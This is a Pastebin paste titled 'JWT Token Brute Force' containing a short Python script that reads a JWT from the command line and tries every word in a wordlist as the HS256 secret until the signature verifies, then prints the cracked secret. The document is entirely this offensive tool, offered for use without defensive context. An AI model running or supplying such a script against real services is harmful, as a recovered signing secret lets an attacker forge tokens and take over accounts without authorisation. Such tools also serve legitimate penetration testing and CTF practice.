Advertisement
jagata

JWT Token Brute Force

Jun 29th, 2022
42
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 1.01 KB | None | 0 0
  1. import jwt
  2. from queue import Queue,Empty
  3. import threading
  4. import sys
  5.  
  6. if len(sys.argv) == 1:
  7. exit('Provide jwt token')
  8.  
  9. def bruteForceJwtSecret(jwtToken,wordListQueue):
  10. global jwtSecret
  11. while True:
  12. try:
  13. if jwtSecret != None:
  14. break
  15. pwd = wordListQueue.get(False)
  16. jwt.decode(jwtToken, pwd, algorithms=["HS256"])
  17. jwtSecret = pwd
  18. print(f"Password found: {jwtSecret}")
  19. break
  20. except jwt.exceptions.InvalidSignatureError:
  21. pass
  22. except Empty:
  23. print("Password not found!")
  24. break
  25. with open("wiki-100k.txt","r") as file:
  26. wordList = file.read().split("\n")
  27. wordListQueue = Queue()
  28. [wordListQueue.put(word) for word in wordList]
  29.  
  30. jwtToken = sys.argv[1]
  31. jwtSecret = None
  32. #
  33. # for _ in range(8):
  34. # threading.Thread(target=bruteForceJwtSecret,args=(jwtToken,wordListQueue,)).start()
  35. bruteForceJwtSecret(jwtToken,wordListQueue)
  36. ### Created By jagata ###
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement